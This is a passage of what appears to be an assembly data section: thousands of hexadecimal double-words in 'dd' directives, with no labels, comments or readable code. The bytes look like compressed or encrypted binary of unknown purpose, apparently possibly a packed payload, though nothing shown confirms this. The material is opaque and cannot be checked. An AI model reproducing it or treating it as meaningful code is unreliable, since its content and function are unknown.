0C83CC97h, 4B8E2AE9h, 45D527DEh, 150200F3h dd 69FA09E9h, 546BEDFFh, 807D643Bh, 7F136568h, 8ABE417Ch dd 91F50258h, 0DD34C14Eh, 0A1E60E58h, 658F6217h, 20B8DA0Eh dd 59554243h, 7A09905Dh, 1732D53h, 0F3B9606Eh, 68585440h dd 383B5A16h, 0E93CC8F9h, 350EE0CFh, 4BA9DE4Fh, 1886A882h dd 5BBEFB70h, 97515055h, 60EC413Dh, 5472E8F8h, 58BE2B48h dd 97135E07h, 0FAD3EEF9h, 0A08735D4h, 40346851h, 0EAE94650h dd 5320C0A0h, 995ED5BBh, 0EA7EE397h, 5EDC0Eh, 68D831ADh dd 0FC99398Dh, 53F9BABh, 6D95627Ah, 976AF704h, 0FF0F817h dd 0B3317617h, 0EF4DD4BAh, 0B5ED18E0h, 0A8605552h, 68505185h dd 7B2C131Ch, 35A80928h, 248B3232h, 315FD158h, 36E77CD0h dd 0B2415A7Ah, 5FF7E677h, 5AA3805Dh, 460BD261h, 54D364E9h dd 203760E7h, 28CA09D7h, 5E1607F1h, 408B03F9h, 0EF8961A2h dd 0F37175C1h, 5E544709h, 0E9F5FC53h, 0E984E751h, 62EC07F3h dd 3B0A6581h, 0A4D6F078h, 43CCB297h, 2F14DE1Bh, 9F6A2809h dd 0B5B2F00Bh, 0D2808277h, 7B1DD59h, 0E0207E89h, 82DFD4E9h dd 4E00CF09h, 0E281492Fh, 0A16FC01h, 0C1ACE90Fh, 38FB5397h dd 669F5AB6h, 0CA012610h, 0B30102Dh, 6E3C1h, 0ED90BF11h dd 9FA9C21h, 1ED5993Ch, 0FF665F8Fh, 9FA22A44h, 0E436F116h dd 205A1C3Fh, 9F08F8E0h, 36C8E80Fh, 0A49EBB0Fh, 1FFB38FDh dd 449456F9h, 0BED4B718h, 40C8382Ch, 0B27E2CD7h, 0F828691Dh dd 52F076BAh, 0F0C9B650h, 914A5A7Ah, 0CCAD6D16h, 22A6E982h dd 7EC26F56h, 0E551DFB8h, 0CF53AFh, 57024932h, 366BF681h dd 8D25B0Dh, 1928AC7Bh, 0C376710Fh, 0D3EE6619h, 0F680117h dd 5B7DB312h, 0C4006E21h, 0F6BB9AF7h, 8CE9132Bh, 9348F2BCh dd 2B9F7DBBh, 0D50068F9h, 685E292Eh, 199D072Fh, 10F0F3BAh dd 83532D1Fh, 0EE80885Ah, 0F7241CB7h, 904A355h, 3D87122Bh dd 0BF00DF84h, 3E477F57h, 400BB960h, 4EE9F929h, 30610B39h dd 0BD25402h, 923F4451h, 8EFFCF60h, 78257FBBh, 0F6BF910Ch dd 13A1D5E6h, 6A42FB68h, 0E5A21167h, 0CC56666h, 1090E953h dd 0B2EC5412h, 5DF8E297h, 0E682E01Eh, 0B5BE7D7h, 65D49D17h dd 246D35Ah, 0D77FE955h, 25A7955h, 671B1879h, 0DBF8EE62h dd 0D1B75F4Ah, 0E985D7D0h, 4A43BCBDh, 0CB685E44h, 3FDEB2ACh dd 0CB5F19D9h, 0F28916D6h, 4AD51409h, 9E517551h, 35647749h dd 959DDD20h, 1D40D942h, 0D8B96F44h, 4F8FF501h, 3FF0223Eh dd 0BB5794DEh, 0DDD9F79Bh, 33C1F9E9h, 0E3F24015h, 3A2D3496h dd 0EB4480D5h, 12659640h, 0F538E948h, 79C8EE95h, 0CB1C2CBEh dd 1FEC0162h, 0A3F81512h, 96954FB6h, 3325A68Dh, 0C51B9B7Fh dd 806943B9h, 0BD55C63Bh, 5C8E09C8h, 89040466h, 0AF0ED41Dh dd 0C34E6504h, 67AAF6BBh, 14056807h, 56876BA9h, 0A01C355h dd 3FDC7734h, 0F90A2CBEh, 9ACC134Fh, 31485E38h, 6F2556B2h dd 575F2C9Ah, 0BDC1FEA5h, 83DCD930h, 0B7CC9FB0h, 7CA708A4h dd 0C2947F2Dh, 5B78CA80h, 0F445BC27h, 0ED3A08A0h, 0F2D628AFh dd 0A2E94214h, 3FF83F8h, 0F1B74E07h, 9B136AD9h, 779C38AAh dd 0E57C68EFh, 3981C674h, 11E93AD6h, 9980187Dh, 5E3BAE60h dd 0B1C4239Ch, 0B7BE33B0h, 0FCD210CBh, 8100EBF8h, 6145ADF2h dd 0FAD6316Ah, 0D0C74A95h, 360A7296h, 0CCA0504Bh, 5538E7D1h dd 0C7810A60h, 4516A6CBh, 72802169h, 2D1C58F6h, 0F2DC16C0h dd 12576D0Bh, 88F056FFh, 0D112AD66h, 2202F71Eh, 0D0028006h dd 4E58F0DCh, 6A7CBE9Dh, 0E8962DE9h, 5B6F90FDh, 9EECB950h dd 44BE5F56h, 0BB5E05F3h, 0E9CCE5E1h, 11870C48h, 53B0D6F7h dd 10C8E412h, 0EA19C0FBh, 862D76B2h, 832A809h, 0A4FFE909h dd 9380521Eh, 7C0873F5h, 34CA4934h, 5F16809h, 98C4C454h dd 1C5DCBF0h, 0FD58C129h, 13FEAD50h, 485346h, 0CC039344h dd 0F9510156h, 0FB080589h, 5D25D2E7h, 0E9BEB877h, 77BE692Ah dd 5436E5DEh, 7F80B874h, 60579E8Fh, 516D1105h, 0B09BB31h dd 8B7EEB29h, 5BDD0B9Fh, 0B5E55D55h, 4B889FAEh, 681D309Bh dd 0DC913273h, 1610D9AFh, 361C0852h, 0F9125F17h, 57502262h dd 0F497279Ch, 0C044972Bh, 31C2586h, 35126101h, 3CCB48D4h dd 323426FDh, 0C459F028h, 5B6366Ch, 75A8EA31h, 2EA401D2h dd 2B5A235Eh, 0F1FC64B1h dd 635C1E70h, 24100C2Ah, 683B5828h, 97F8DC65h, 9F5B5AF8h dd 278658FEh, 0D8DDDC07h, 7B6005E9h, 0F84C741h, 9F5AF228h dd 0C65260FCh, 0A10D20BAh, 6C98BD05h, 27FB858Bh, 0A599F479h dd 724ED357h, 0A35A21E9h, 5521B431h, 5FEED468h, 0DC251BE5h dd 10B77C94h, 0B41DBD01h, 0EE31653Ch, 0B35B2CC2h, 3D762EF6h dd 1B49C0BEh, 507E2B43h, 0A1A694B6h, 0F5CE830Bh, 0D495129Ch dd 6D70C045h, 0BE047DCFh, 78B3566Ah, 170FB8ABh, 0DCDA534Ah dd 1C0F624Fh, 5C5AB970h, 41A8E4CCh, 66294082h, 62408B75h dd 6B61FC02h, 5AE0A2ABh, 0C082DCC7h, 0BD86C389h, 0B52F3F4Ch dd 58DCB1E0h, 227F11C9h, 0B9009900h, 0FFF45BE7h, 29C5BB39h dd 91EFC2D8h, 0EBC0B4A3h, 63FDFEDAh, 0DC20F844h, 6D68145Bh dd 0B1C2EB06h, 705F6670h, 3EE913D8h, 98FC20CDh, 495BA94Ah dd 0C493D0F8h, 490C1D05h, 0B55A4CC5h, 0F3972CF0h, 0F18E3263h dd 4C5E89D7h, 0E0505075h, 0B07495BCh, 0F5F842h, 9F9C4735h dd 41501425h, 0DDD4977Bh, 54E91973h, 7F304E7Ch, 0BFB75B0Ah dd 8A03D1A4h, 2D1DA77Eh, 79FEA616h, 0CC2DAD60h, 5EA4FA6Ch dd 173BB4D6h, 7F683209h, 0E0559B25h, 0E871DEBAh, 26EB9552h dd 0C2E5AD3h, 0E20486D2h, 0A8C21499h, 0A1BA0095h, 57E4C005h dd 80C9FBA1h, 12F9BD7Ah, 9B293E67h, 68538072h, 0FBDB1939h dd 42AFB95h, 0FF295BD8h, 4D439241h, 7A4807h, 137032BEh dd 9C5556E9h, 4EC73EB8h, 25AAA995h, 25BDC07Eh, 377F8C93h dd 55BD4F25h, 7DFA6AE4h, 542CED2Fh, 250CE898h, 4605447Eh dd 41BE586Bh, 8B5F5AA6h, 0F69B6B04h, 460E4049h, 0AA36FFDDh dd 0CB2971D8h, 11E0B3AAh, 0C278FE5Ch, 0DAC52F25h, 0BD3A77B2h dd 6890C94Eh, 0FA93719Eh, 8A7F5EA1h, 2492125Eh, 0AA799DC9h dd 8AC63E81h, 0F8846E36h, 9725CF0Fh, 5C8B76B3h, 8C5A5076h dd 604766E4h, 2548ACD4h, 0A0055CBh, 68F2D1Bh, 58218AB5h dd 0A72081C7h, 7DC6609Dh, 0E1BDCF52h, 0D5B260C5h, 5FD4AC0Dh dd 0DB8687FDh, 0F1B73DA0h, 0F0AE139Dh, 0A20FBF0Ch, 44033219h dd 75BB25D6h, 69678008h, 0C163468h, 830AC601h, 21027318h dd 54495B54h, 0DE8F89EBh, 0F47A7356h, 0D2555ADCh, 975A203Fh dd 9326E097h, 17BA8068h, 0D88D3839h, 0F4F09AFh, 0F16784C7h dd 1A44E252h, 2E599F4h, 0C8A54AFFh, 9718DD32h, 1A2F364Dh dd 0C347573Fh, 83BB5307h, 4068EB82h, 246B1A9Ch, 285450Ch dd 92109069h, 3A89AE4Ah, 7C21DAF6h, 0D83F49ACh, 32E6D0D7h dd 0E0E095E2h, 8019BC23h, 0C395455Ah, 0DDF7A152h, 92159E81h dd 7E2DF3D6h, 0E435BF21h, 687CECA5h, 187A6B05h, 0ABF317BBh dd 3B4A1061h, 0FC56F2Ch, 455F269h, 7E09E956h, 7F738DFFh dd 0B6F204F0h, 15DD255Fh, 1679A7AAh, 7CF3298Ah, 5AE16B0Bh dd 0CB21205Dh, 42972EA0h, 9277473Dh, 0EA28812h, 97F2AE8Bh dd 0D05EF225h, 60E0F6C5h, 0EDC22DD9h, 0BA58C628h, 14C50A23h dd 3109A474h, 0CB5AF669h, 5E2451F9h, 4429CF00h, 0BFD11018h dd 9492907h, 3AD9CFFh, 713340Dh, 8194D031h, 64A8F72Ah dd 41163820h, 0CA007DD5h, 43596B81h, 0E77227E9h, 83143C52h dd 14D95CDEh, 5D45DEBh, 3BBF4A09h, 8F009h, 0D4233342h dd 0E94D0946h, 57A9B6DAh, 0CA303268h, 1AC24FDFh, 0E0297B44h dd 0D731C9Fh, 0D901642Ah, 5208071Ch, 4457DB57h, 275B06D9h dd 904D1D43h, 6768CC0Ch, 1F330C17h, 6D2B2573h, 0F01AA664h dd 0D7FE8404h, 75B64502h, 0F89E9376h, 0CECEFD89h, 5E4DF61Bh dd 0CF2CEBE7h, 9D37FE51h, 0E0D10D83h, 408D5FBBh, 18F0F6B6h dd 293EDD66h, 0F3A59BF7h, 9558A946h, 4FC76781h, 3B155363h dd 0B8071CBDh, 0A0201970h, 7E391C25h, 515B767Fh, 32BAD281h dd 3C6507E8h, 50A8C283h, 6F1C20FFh, 0DCF9312Dh, 0A2E57A8Ch dd 3B096828h, 0D723415Dh, 0F386006h, 7083896h, 0A9661780h dd 64A04BF6h, 0ADBE40D0h, 0AD7524C8h, 0E7635774h, 0EEE30094h dd 0A2C21A7h, 0DE7EF746h, 0DA9ED22Eh, 0F59780C9h, 9D418010h dd 4A086ED0h, 25A3ADE9h, 0AF09B97Ah, 93F9444h, 0F77A2967h dd 0B8009167h, 1A0A620Eh, 0F9414BE9h, 90E23B92h, 681C07D7h dd 4D697B6h, 16140805h, 754036A1h, 488862B2h, 7F053B67h dd 1C4B6C42h, 0A168419Bh, 21CD2993h, 79794618h, 0DD85E915h dd 0E3C11283h, 0EB1410A8h, 0F71B9946h, 7C218D3h, 0E24BD623h dd 50427789h, 905F92C2h, 2821590Ah, 0BEB35EF0h, 31273BDEh dd 89252916h, 389252D9h, 0EE4E3D3Bh, 0FA2A9139h, 67EFFC60h dd 3C112468h, 0BFCD1F41h, 94EA5AA5h, 41C080Dh, 0BC348514h dd 0D1FFB583h, 493EEE4h, 0F4588281h, 0EB5B0C97h, 0B75C073Ch dd 0E925FCE6h, 577E19Fh, 0F0A8B87Ah, 0BC86E955h, 0E04F12B8h dd 4EE8C7EFh, 5789830Bh, 922EE55Dh, 5F1EC2CBh, 9C2A8075h dd 0B5388971h, 0D1EA88F0h, 5865C2BEh, 32C8FB01h, 0AB2A4A9Dh dd 0B0B27E27h, 0DFC4F5DEh, 41F5681Ch, 0F016F72Dh, 5A95CB92h dd 0F6CCF975h, 9EEECC2h, 0BB38E901h, 62600E68h, 10AB3958h dd 8009D44Dh, 810F9FEBh, 0C9BF4AF0h, 2BC9F18Dh, 460B4149h dd 0E460251Bh, 152F3CDAh, 7D6D12D6h, 0EEE24971h, 14149990h dd 49084A17h, 1648E477h, 6111CC68h, 0CC273721h, 0E7090546h dd 55E26350h, 997CD709h, 21234B3Bh, 6332C954h, 0AA2A0275h dd 57ABC54h, 0D6F75BDEh, 0D1A7C2BBh, 0BE0106F6h, 34E5488h dd 9E681C8h, 3AA70979h, 0FBEDCD05h, 41B4418Ch, 0EFEC14F1h dd 0A1C5EB84h, 14545FFFh, 8279A0FAh, 352262AAh, 0B048E80Ah dd 3A5AFE2Dh, 0C78312ADh, 89A32621h, 95BDE9A8h, 42C276B5h dd 23DF0807h, 0FFCFA8Dh, 44D45DB9h, 5624EBF3h, 7F07F8C2h dd 647FD51Ah, 23629F58h, 66FE1AC0h, 0A2263428h, 0D802F7FEh dd 2E64072Dh, 2015DC67h, 1FCF2F90h, 3BE43748h, 0A5B0FEB0h dd 77E5D12Ch, 3D000510h, 8907F91Ch, 6D27E9EEh, 61B3DDEBh dd 0D24F4C76h, 88D40CECh, 0A2E2F95Eh, 0A5BED6E9h, 229DD05Eh dd 0C1A60E6Dh, 3430691Fh, 25E93248h, 9B46BE8Dh, 594A9130h dd 3D9A18C1h, 0D5AA8C72h, 794497ACh, 7302C325h, 4FF74219h dd 0E8D14001h, 582E706Fh, 4B1E032Dh, 6C6EC6D6h, 8774C91Ch dd 820CD4C1h, 7F515301h, 831341CEh, 0F15E3DE9h, 46097474h dd 9BDB0B9Fh, 0EE8F92Eh, 0BAD9E7Ah, 62FE8956h, 0B6668493h dd 60D4BD0Ch, 0EDD14C00h, 7D21CD81h, 44376CEh, 7B31C2E5h dd 8007EF04h, 479BE76h, 29FA8930h, 0AB4C608Eh, 72EAC84Fh dd 0B3A9F9A9h, 6B56EAC8h, 1285AA58h, 0C8AEF584h, 7113F7F6h dd 6181762Dh, 0F97A5A0Ch, 7D1190A0h, 8F62A091h, 10557E47h dd 78482575h, 0F9F0B541h, 8E168BE6h, 74E42507h, 636001EAh dd 12E96221h, 49032B8h, 6C986D53h, 523806EAh, 0D8BDEF59h dd 0EFEED2F3h, 0A0DBF1D1h, 1E201E06h, 40DAA825h, 0E6DDCF9Ah dd 0ED9A8C6h, 474B507Dh, 8EBA0100h, 0B70B1877h, 735F5002h dd 4B39B900h, 81494AFDh, 1746314h, 1FDDC3B7h, 3850EFAFh dd 96D5A982h, 0C3DEC061h, 1F7498Dh, 3423F9B7h, 0E223EA02h dd 0F8D025EFh, 0D1953314h, 0BDD6A88h, 95E80BEEh, 20D0F18h dd 8E5FFD29h, 9955C6FCh, 13100112h, 0F1561BE5h, 2512879h dd 0BE0B4BBBh, 0F370E162h, 13FFC31h, 3828EB8Ch, 23F5F614h dd 78748B4h, 6A3BC2CBh, 51F6FBD1h, 5B5E08A0h, 29C6E2E3h dd 0D52FF05Fh, 5EE890C9h dd 16C44E68h, 0E4ABB8F0h, 0CBB99EAh, 0D4413C9Ch, 362F6BBCh dd 70F54A69h, 0A947AE9h, 4B90A269h, 0C433DD9Dh, 0CD8C6BD3h dd 26278C8h, 69399CCEh, 0E9E2DD4Bh, 0F0C235DEh, 9ACD689h dd 7DD9E20Dh, 2FC8D272h, 34D91B58h, 2774C788h, 33C81F8h dd 0E0BF02CDh, 568B8C80h, 0C82C93h, 35696EEAh, 934EE7E9h dd 4CBDD890h, 923F50FBh, 2227D95h, 0EBA0B83Dh, 0D4558982h dd 8559093Ch, 0F882945Fh, 28F2967Ch, 19F20754h, 60676808h dd 3B2116CAh, 0AE02754Bh, 577FBB65h, 0B2AD870h, 0F7588492h dd 4ED138EFh, 0E9210D99h, 289DB53Eh, 6B563422h, 10EF156h dd 0CC8CB77Dh, 0BAEC9D29h, 5ACF35Dh, 554F475Ah, 71CC100h dd 90D4963h, 6BEC2415h, 401E6476h, 930FB140h, 23A052Eh dd 0E93B541Bh, 0D17FC594h, 9A75696Fh, 3FE2B8h, 6B1A9BC0h dd 0C3AB02Fh, 1D4F611Eh, 2912520Ch, 90076CC7h, 0B9A4A50Fh dd 0E6F513EBh, 326610E8h, 89190E4Ch, 0F5E5D196h, 0DA002A70h dd 247D03BDh, 2EDD9041h, 655FDFB5h, 724BF29h, 0F685DD81h dd 0C9AAC004h, 41307F36h, 4954A879h, 4480B82Fh, 887204A3h dd 0A5ECACA0h, 26C2B5AAh, 17D216C3h, 0BA0599D0h, 71E42B8h dd 0EC4AB3F8h, 0C37730A8h, 1E80EE81h, 0CA646B20h, 819E92A1h dd 71280FEFh, 3B072C37h, 51E68FCBh, 0DC55AC29h, 87BB807Dh dd 0B0E73132h, 1859C0C3h, 40B498A2h, 1516BBF1h, 0EA003E25h dd 4F558AEBh, 60059045h, 7F1B41D3h, 3E803934h, 412824FEh dd 2F831C1Eh, 1C739675h, 0F9EFCF80h, 840EEF5Ah, 22529278h dd 0D81B99ABh, 0E73980DFh, 6FC79AF1h, 0AFB34520h, 6614E5D4h dd 0DC2510D0h, 9E00E84Fh, 2BFB2A8Bh, 6FC5FC2Fh, 41201885h dd 370ACAA3h, 0AB40CA78h, 2E017AC1h, 0E9D12936h, 0FD3A93A9h dd 728EC7A0h, 28677D09h, 170D48ADh, 2FF495FAh, 0FDD90E2h dd 0E0C0BD20h, 0E1093407h, 0FF283F2Ch, 88BBF7E8h, 0CC181895h dd 14D3C4F7h, 6C04128Dh, 0EDAE5896h, 3BFD0545h, 0C1809FBEh dd 4AF40F32h, 0D1A10629h, 73B54E48h, 4496BE88h, 2D790E2h dd 0A890D42Eh, 6395C606h, 30C5214h, 1587588Dh, 6841EE29h dd 140CA008h, 0F888C4BEh, 0B6F6250Ch, 60D298C5h, 641C555Ah dd 4B332E20h, 2A93895Fh, 8B9FB4E2h, 835EF7h, 5127C870h dd 447EE141h, 15DCA53Ah, 0B4F91717h, 7ABF18DCh, 95FD23Bh dd 0D67B6061h, 5471E904h, 31099CFEh, 756A140h, 0C5335268h dd 0BBACB269h, 0F6ACBFD6h, 2916D11Fh, 42CB915Fh, 707E48Ch dd 0EB801FB3h, 9C8DDB0Ch, 79BD7F38h, 0BA47B0F4h, 3C228518h dd 80A5D156h, 8161668h, 0AE173825h, 387F9EAEh, 5EB438E9h dd 951231FAh, 0E5316A62h, 953F9C60h, 0C4A609DBh, 0B08F7229h dd 0F0C062EBh, 0F890C0BFh, 0F1893E27h, 0C083607Fh, 170B2DFFh dd 7943844Bh, 5EC66015h, 0F72F2B79h, 0BA172DDh, 0ADC1FE6h dd 0CB42240Bh, 0F6E266DFh, 0AF06123Dh, 0CB50AA4Bh, 0A4267D08h dd 0F1802D46h, 59CE306Dh, 0A3B11D51h, 73E98B28h, 0AD84D5F2h dd 108B14CBh, 0E1C28C9h, 306831D3h, 0BDB332h, 236490Ah dd 6AF7F387h, 253408DEh, 0D6B79970h, 0C75DC999h, 0BCE904CFh dd 517CA44h, 180C6851h, 592FF38Eh, 44F61368h, 35CB0212h dd 7043AC5h, 13C4FF0Fh, 8DA8AAh, 0F318DFEEh, 90CE2965h dd 590881D7h, 2D0B892Ch, 4E8E346Bh, 63E9C822h, 0D0776F0h dd 3C9B7BDCh, 5A69E9AFh, 88C69DC0h, 2F8CC64Eh, 5634391h dd 0EC0AE957h, 0E27E31FEh, 812E7286h, 377661C3h, 10F38096h dd 0E90A0826h, 0AFCF3FEEh, 0E80BEB1Bh, 80371FD0h, 0E908EA19h dd 6BFD6228h, 1A405EF5h, 0DD2D6547h, 2325029h, 681F6452h dd 52A06F9Ah, 341375B9h, 0B55AD8BFh, 0D7EDD330h, 28C5DA04h dd 9AB20E9h, 674D5767h, 65AA0196h, 2F06AE3Bh, 259AA449h dd 6AA25640h, 1D0FF928h, 881CF7E7h, 0DA705CB5h, 0BD93B1F7h dd 82B04255h, 0B3CB4F61h, 0E7F8CA05h, 0ED0970A8h, 0F56CC07Dh dd 0BF6B75A2h, 0C5FF4D92h, 0A1E79703h, 489E7F7Fh, 0ECE3047Dh dd 876C5B62h, 0A36ED506h, 613D0F31h, 0E8D1663Ah, 0A92D0004h dd 9F06346h, 5E9058C6h, 0EB571609h, 9C760019h, 121E8601h dd 54F8DBE9h, 404B31D0h, 920EA88h, 0CC14B9Bh, 63089E7Bh dd 0F910C07Dh, 4C15F83h, 0FA51354h, 0C62582F0h, 3AFD4565h dd 55585E40h, 375B18Ch, 0C9C20BA0h, 447D5882h, 482BF832h dd 0BBA5ECAAh, 96DC1CD1h, 0AC77352Ah, 9086BD4Ch, 1847B768h dd 5E4FEBEAh, 1565F99Ah, 9428FB53h, 12700968h, 51025CD4h dd 75098EEEh, 0F92D80C3h, 91BCDF58h, 59FAFE9Fh, 0FEA648B6h dd 2191F3FEh, 4082746Ch, 0D7DE66CFh, 17557E4Eh, 5A132CABh dd 68535001h, 7036794h, 0D6E5022Eh, 0FE40779Fh, 648ACEA3h dd 736812D5h, 0C1F6E83Fh, 178F7A1Ch, 19C10502h, 0F9DFC27Bh dd 0C3AEC270h, 504B9CFEh, 0D8034A0Bh, 615E05DAh, 0A2CD09E4h dd 0F9EAF582h, 94531655h, 19E809B6h, 0D550BA75h, 5A5F08B2h dd 2FA64163h, 90AF19C5h, 6652CC2Bh, 0FB5B3425h, 0D4524988h dd 50629420h, 819A9152h, 35E52758h, 40AEE93Fh, 60FEC195h dd 212F4737h, 0CEAAE0CFh, 14201004h, 0F2AB9B01h, 556ED7C2h dd 0AC1F484Eh, 7D77E181h, 0F03F4FBEh, 0E32E0C97h, 0AA107D6Eh dd 646C680Ch, 71409787h, 387B975Eh, 0DD30F54Bh, 7C559CE9h dd 296320BFh, 70E7FB1Fh, 6662DE0Bh, 6C222E4Bh, 20AAC02Fh dd 0A69844ACh, 0CA6ACD06h, 0BDA4E95Bh, 0DC4BABF6h, 0FEA922EDh dd 44C06521h, 5CF0BE5Bh, 77029576h, 6AF9595Ah, 69FA5E49h dd 2F8D6CDFh, 0F709CEE9h, 0C1B80EF7h, 608746Fh, 128872DFh dd 0BE372F88h, 0FCB7448Dh, 7C57F06Ah, 0CBF4A686h, 31EE0A1h dd 0E7CEF05Fh, 1B9C3E06h, 620AAC17h, 7F6AA2DFh, 55644C7Ch dd 41E5C383h, 783C8FF9h, 2B715B89h, 78DA6049h, 44C32C39h dd 71C017Ch, 0C42D2B7Ch, 3316C71Bh, 6F0AD001h, 0B4A89831h dd 3FC9BE5Ah, 0E9C27422h, 9B08ACFFh, 0F33BD202h, 2BD2770Ch dd 0A52FBA0Ch, 0F302124Fh, 2006D6F0h, 8641760h, 0F3F00706h dd 0F8621CC6h, 0E0DC3101h, 0C0FE01F6h, 482D8D5h, 0C3281134h dd 0BC3061E4h, 0C0C82598h, 75077BE8h, 95E07308h, 30C1B8C1h dd 0F40BB7ECh, 7F2C780h, 5FCB5BDDh, 0A3F09010h, 0CD1B489Fh dd 58D3BF97h, 60CFF027h, 2FBE16D5h, 7F4A1762h, 51653AFh dd 0BB8DF446h, 0BFCB86D0h, 28A9254Dh, 0A07D2E62h, 11797EF4h dd 0E293A020h, 0C0AE750Eh, 2C5B57F2h, 41DC0921h, 4BC3F8CEh dd 0B027D875h, 0D8E91AAAh, 16FD829Eh, 4CDDFEFEh, 429D0FC2h dd 35873F56h, 4D25ADE4h, 0E51A92B5h, 6D762DD9h, 0E9090953h dd 935C346Ah, 0B26397BBh, 61986321h, 133A3FF9h, 0C89C0018h dd 127AE51h, 8F037C95h, 22D22AE9h, 0DD743225h, 77A3CE81h dd 0E4ED7F5Fh, 1E6A177Eh, 0D180C4Dh, 6AC1C575h, 3F8F615Bh dd 0BF44BAF4h, 8C128EAh, 0B4D7A64Fh, 0E0C3AD3Fh, 0EC68015h dd 5AF328DFh, 0C941893Fh, 88B24E7Dh, 8180EEFDh, 0AA8E3E58h dd 9E4DE25Bh, 0F460E949h, 1B592DFBh, 4253F152h, 0C25C27E9h dd 59DDB900h, 4F01779Eh, 0C92FB2CAh, 0B48588Fh, 13CD685Eh dd 0BEF77099h, 0C9E93DA2h, 2BA14E58h, 0F09B043Bh, 44FC16DCh dd 0B00826h, 6F6D0E31h, 0F734D187h, 478708D2h, 211507AEh dd 855CFD53h, 9127CABBh, 68520451h, 3DAB7816h, 1CC603Fh dd 0E0CC1E5Bh, 267807EAh dd 53E7811Fh, 0E9C0607Dh, 0CEB27972h, 5E745B72h, 2CEF0898h dd 0F01D10C9h, 43A8BB00h, 0E381418Ah, 0DE546202h, 41564B1Ah dd 0B500CB55h, 0E8392837h, 12F0BE59h, 0D9EEB7FBh, 7C894794h dd 25416871h, 8510C339h, 0D3011CDEh, 0FC5B2B8Bh, 0AE963EBh dd 0B15100A4h, 4A8FB391h, 16BC1C30h, 445C61C6h, 81658210h dd 0FD1B92EBh, 0B91E647Ah, 78AC4185h, 0E6A3108h, 30E6F188h dd 872F0EC5h, 7F8BDDDFh, 514246DCh, 0B0D2B68Fh, 9D975F13h dd 9377EC11h, 50E816D7h, 0DAF10DDBh, 527834E6h, 0D7AAFE4Bh dd 68C66039h, 43B33881h, 90D1F40Bh, 82C20449h, 295A4055h dd 0A221692Eh, 0DCBD24C0h, 18A04F16h, 9F448A12h, 0B2AF595Fh dd 69998404h, 271DCEBAh, 5CF1E278h, 0E5076B6Eh, 18FD0BA5h dd 0FE463E52h, 0E6810073h, 4A7414ECh, 0A061B3E9h, 407CBA28h dd 9A4008C1h, 148A64A9h, 0CDD3297Fh, 16200841h, 38F35458h dd 4A36F25Ch, 916D911Ch, 0AD2114C0h, 82399211h, 62B05804h dd 0E4FBD7FDh, 0B1CAF50Eh, 43030610h, 13911060h, 306154Ch dd 9D4B86F6h, 5BDF31C0h, 5F2CFEE6h, 571C2653h, 0FA7975FDh dd 0A4D86BFBh, 6F9E09C2h, 7E025AECh, 0F95DB675h, 1CA54CEFh dd 728A794Fh, 0ABD4018h, 0F0BD5E55h, 9971F37h, 222D00C9h dd 5503310h, 0E132B914h, 425827E2h, 3753D5C8h, 0A232C6C2h dd 0F9037BEBh, 62C589ACh, 12D13ADFh, 0DD59F755h, 0E0515D5Ah dd 68DE108h, 816FDE68h, 3F6B2A32h, 576AF7C5h, 0CA50FEABh dd 401DF59Eh, 42871593h, 2B3768C1h, 45ED61CDh, 0FA4B336Ch dd 7D42E939h, 31F54888h, 13F8E4C7h, 35290B68h, 3BC19773h dd 325B26F0h, 970141CCh, 7A597656h, 0FE0987E3h, 0F84F6D5Bh dd 4291033Fh, 7C46DA2Fh, 0D601345Dh, 72C2D4C2h, 7BCAA4C4h dd 0CE8C81DDh, 44FEF260h, 2FE274Eh, 0B7BDA55Bh, 0EA00D5Fh dd 3D66F360h, 55B1F821h, 204E6F28h, 0A82BE957h, 2FBB1F11h dd 0F410CC5Eh, 5004BD05h, 7B81AB5Fh, 247ADC19h, 3892ECA4h dd 907BC164h, 0EC542292h, 0F281450Dh, 2380D26h, 5EFE8B4Fh dd 0EF4BCBF7h, 0B0752509h, 97B2FF5Ch, 0F3D7544h, 604B1CC8h dd 0BC90572Fh, 0C697C0A2h, 815020FCh, 68EA1390h, 0F5085625h dd 2708B208h, 0AFCD9548h, 0A7832DDDh, 0D9416F2Ah, 413452E8h dd 69DEFA44h, 4084CAA3h, 1A4A14A2h, 553AB446h, 10ED76A7h dd 16A0876h, 8204B9Ch, 0CF54E93Dh, 0C49FC41h, 0F03F11EFh dd 0D1092D74h, 0FDDB801Ah, 0A6FF3DC8h, 0B0B2C030h, 5EEE25BCh dd 0E7A50Ah, 3374E908h, 34C78DD0h, 0D8C88F14h, 8B6BE101h dd 56C12777h, 6DF100C1h, 31A35A5Eh, 88F9DCB5h, 0C1059AF9h dd 0F2C206E2h, 0B1A0DF58h, 0DD0F759h, 0DC19F83Fh, 1AC314ECh dd 7557CBBCh, 925D196h, 62BEFC80h, 917AB121h, 1CA08748h dd 5E65FF80h, 59D5FA94h, 42C646Fh, 8FABC697h, 770D2CFFh dd 0BC655CA7h, 91C0F396h, 3BBA2E62h, 0DFEF3E31h, 14704D34h dd 0ED0DE069h, 3606E300h, 0E943652Fh, 20A285Ah, 0DF2D8A21h dd 1F682521h, 267E5476h, 0E9250D44h, 0BCF8F934h, 82410725h dd 1603375Ah, 3FB47D5Eh, 548A02EFh, 0CF291D56h, 8072142h dd 94778901h, 0E90DC24Bh, 8654B169h, 17EBF650h, 977597Dh dd 0A0DB975Ah, 0EBE2010Bh, 1ED1B936h, 3F0CB32Bh, 0B8A84A83h dd 57385DC6h, 1BD4C305h, 0A2AA6BA2h, 0D8BAC937h, 0C4E595EAh dd 21AF52Ch, 4791DDEDh, 3A122F03h, 287BD2E1h, 4540D064h dd 0D4B85B50h, 0BE3CC033h, 35F4232h, 840BDADh, 0BB5AD658h dd 8F4C03CFh, 341568B0h, 0CC5BC730h, 287C3EC5h, 0E4C02A44h dd 860B2FB0h, 0F3775D3Ah, 218D2794h, 82706969h, 787F6CE9h dd 68F90946h, 42440B51h, 0E99C5004h, 32BE7EEDh, 0A6D629F3h dd 0B785EB9Dh, 45C0BC42h, 5A1D26BDh, 0DC78E07Ah, 4CBA0E02h dd 92CE9h, 471CFC68h, 84C24848h, 9DAF5931h, 5AE7989h, 552827CFh dd 77E80B25h, 0FC65740Ah, 1FBA08BFh, 8FEE4028h, 0E34FC363h dd 0D15DBA68h, 182A80FFh, 0E2D1178Ah, 352BE91Ah, 66C5601Eh dd 0C0864F58h, 0F18059A1h, 0C30FEC73h, 9CB281Bh, 5CA8E1EBh dd 0F9B0AE05h, 258BA862h, 7A647B9Dh, 0A66E5431h, 2F123EBEh dd 0BD6323A5h, 0E905061Fh, 25188D3h, 82FD50CFh, 692FE141h dd 2FD869B3h, 0E9AE81AAh, 893E2C8Dh, 8A10E0C7h, 592B1495h dd 0ED5F29ABh, 